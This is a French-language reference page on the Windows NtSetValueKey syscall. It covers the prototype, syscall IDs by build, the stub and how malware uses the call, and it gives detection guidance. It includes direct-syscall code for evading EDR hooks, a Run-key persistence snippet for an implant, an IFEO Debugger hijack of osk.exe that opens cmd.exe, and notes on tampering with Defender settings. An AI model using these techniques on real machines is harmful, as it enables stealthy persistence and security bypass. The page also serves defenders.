> Windows Syscalls
ntoskrnl.exeT1547.001T1546.012T1112

NtSetValueKey

Écrit une valeur nommée dans une clé de registre ouverte — pierre angulaire des persistances Run et IFEO.

Prototype

NTSTATUS NtSetValueKey(
  HANDLE          KeyHandle,
  PUNICODE_STRING ValueName,
  ULONG           TitleIndex,
  ULONG           Type,
  PVOID           Data,
  ULONG           DataSize
);

Arguments

NameTypeDirDescription
KeyHandleHANDLEinHandle vers une clé ouverte via NtOpenKey/NtCreateKey avec l'accès KEY_SET_VALUE.
ValueNamePUNICODE_STRINGinNom de la valeur à définir. NULL ou chaîne vide vise la valeur par défaut de la clé.
TitleIndexULONGinRéservé. Doit être zéro.
TypeULONGinType de valeur : REG_SZ, REG_EXPAND_SZ, REG_DWORD, REG_BINARY, REG_MULTI_SZ, etc.
DataPVOIDinPointeur vers le tampon de données à écrire.
DataSizeULONGinTaille du tampon en octets (inclure le NUL final pour REG_SZ).

IDs de syscalls par version de Windows

Version de WindowsID de syscallBuild
Win10 15070x60win10-1507
Win10 16070x60win10-1607
Win10 17030x60win10-1703
Win10 17090x60win10-1709
Win10 18030x60win10-1803
Win10 18090x60win10-1809
Win10 19030x60win10-1903
Win10 19090x60win10-1909
Win10 20040x60win10-2004
Win10 20H20x60win10-20h2
Win10 21H10x60win10-21h1
Win10 21H20x60win10-21h2
Win10 22H20x60win10-22h2
Win11 21H20x60win11-21h2
Win11 22H20x60win11-22h2
Win11 23H20x60win11-23h2
Win11 24H20x60win11-24h2
Server 20160x60winserver-2016
Server 20190x60winserver-2019
Server 20220x60winserver-2022
Server 20250x60winserver-2025

Module noyau

ntoskrnl.exeNtSetValueKey

APIs liées

RegSetValueExWRegSetKeyValueWNtCreateKeyNtOpenKeyNtQueryValueKeyNtDeleteValueKey

Stub du syscall

4C 8B D1            mov r10, rcx
B8 60 00 00 00      mov eax, 0x60
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

Stable à `0x60` depuis Windows 7 jusqu'à Win11 24H2. À coupler avec NtCreateKey/NtOpenKey pour écrire des valeurs sans passer par advapi32, où vivent la plupart des hooks user-mode des EDR. Le noyau achemine l'appel via CmSetValueKey → CmpSetValueKeyNew/Existing ; les flushs de hive sont différés (CmpLazyFlushHiveList), une valeur fraîchement écrite peut donc ne pas toucher le disque pendant plusieurs secondes — utile pour les acteurs qui courent face à la détection.

Usage courant par les malwares

Le versant exécution de la persistance par registre. Une fois la sous-clé d'autostart ouverte, NtSetValueKey écrit la commande de lancement : - `Run` / `RunOnce` : un REG_SZ pointant vers l'implant. - `Image File Execution Options\<victime.exe>` → `Debugger` REG_SZ → binaire attaquant (T1546.012). - `Winlogon\Userinit` / `Winlogon\Shell` complétés du payload. - `Services\<nom>\ImagePath` pour le détournement de service. - `AppInit_DLLs` pour s'injecter dans tout processus liant user32.dll. Les appelants en syscall direct s'en servent aussi pour altérer les valeurs de sécurité (DisableAntiSpyware, AntiSpywareEnabled, SubmitSamplesConsent) lorsqu'ils sont élevés.

Opportunités de détection

ETW Microsoft-Windows-Kernel-Registry émet `EventSetValueKey` (Opcode 11) avec le chemin de la clé, le nom de la valeur, le type et la longueur — précieux pour l'alerte haute fidélité sur les écritures autostart et IFEO. Sysmon Event ID 13 (RegistryEvent: Set value) et Event ID 14 (Key/Value rename) couvrent les endpoints sans EDR. Alertes prioritaires : toute écriture sous `*\CurrentVersion\Run*`, `*\Image File Execution Options\*\Debugger`, `*\Winlogon\(Userinit|Shell|AppInit_DLLs)`, et toute modification d'exclusions Defender ou de `SubmitSamplesConsent`. Corréler avec la télémétrie d'image-load pour capturer le processus résultant à l'ouverture de session suivante.

Exemples de syscalls directs

cWrite a Run-key persistence entry

// Drop HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater = C:\PD\impl.exe
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"Updater");

WCHAR data[] = L"C:\\ProgramData\\impl.exe";
NTSTATUS s = NtSetValueKey(
    hRunKey,                  // from NtCreateKey/NtOpenKey
    &name,
    0,                        // TitleIndex
    REG_SZ,
    data,
    (ULONG)((wcslen(data) + 1) * sizeof(WCHAR)));

asmDirect stub (SSN 0x60)

NtSetValueKey PROC
    mov  r10, rcx
    mov  eax, 60h
    syscall
    ret
NtSetValueKey ENDP

cIFEO Debugger hijack (T1546.012)

// HKLM\Software\Microsoft\Windows NT\CurrentVersion\
//   Image File Execution Options\osk.exe!Debugger = cmd.exe
// Triggers when On-Screen Keyboard is launched (incl. Sticky Keys at logon).
UNICODE_STRING debuggerName;
RtlInitUnicodeString(&debuggerName, L"Debugger");
WCHAR debugger[] = L"C:\\Windows\\System32\\cmd.exe";

NtSetValueKey(hIfeoOskKey, &debuggerName, 0, REG_SZ,
              debugger,
              (ULONG)((wcslen(debugger) + 1) * sizeof(WCHAR)));

Mappings MITRE ATT&CK

Last verified: 2026-05-20